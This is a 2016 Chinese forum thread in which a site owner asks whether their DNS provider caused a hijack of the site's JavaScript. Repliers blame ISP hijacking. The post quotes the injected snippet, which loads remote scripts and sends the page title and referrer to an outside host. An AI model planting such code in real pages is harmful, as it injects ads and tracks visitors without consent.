如果你希望学习 CDN 相关知识,那么建议你可以遍历以下软件的说明文档。
NGINX
cURL
honkew
V2EX  ›  CDN

网站 JS 被劫持,是 cloudxns 的锅吗?

  •  
  •   honkew · Oct 29, 2016 · 6910 views
    This topic created in 3485 days ago, the information mentioned may be changed or developed.

    打开网站,右下角弹出了一个广告 第一反应是浏览器广告,按下 F12 ,刷新,发现 js 不对, wtf ? 被黑了吗,看源码没有被修改,那么应该是劫持。 http://p1.bqimg.com/1949/a76f17c2e682a123.png http://p1.bqimg.com/1949/c6afcb938f08c356.png 下面是劫持代码

    var a=function(b){var d=document,e=d.createElement('script');e.src=b;var f=d.getElementsByTagName('head'),i=(f&&f.length>=1&&f[0])||d.body;i.insertBefore(e,i.firstChild)};a("http://网址 /ckplayer.js?_veri=20151101");a("http://pj.iaoso.com/lib/query?src=t6413&t="+encodeURIComponent(document.title)+"&r="+encodeURIComponent(document.referrer)+"");

    下面是 js 文件测速截图,只发现这个节点大小和别的节点不一样

    http://p1.bqimg.com/1949/6a201f0cd17d317c.png

    好久不发帖这个编辑器怎么变了

    3 replies    2016-12-23 20:38:31 +08:00
    InFaNg
        1
    InFaNg  
       Oct 29, 2016 via Android
    运营商的锅
    CloudXNS
        2
    CloudXNS  
       Oct 31, 2016
    这个锅我不背。
    HLT
        3
    HLT  
       Dec 23, 2016
    运营商 DNS 或 HTTP 劫持,跟 cloudxns 没关系
    About   ·   Help   ·   Advertise   ·   Blog   ·   API   ·   FAQ   ·   Solana   ·   1165 Online   Highest 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 37ms · UTC 18:11 · PVG 02:11 · LAX 11:11 · JFK 14:11
    ♥ Do have faith in what you're doing.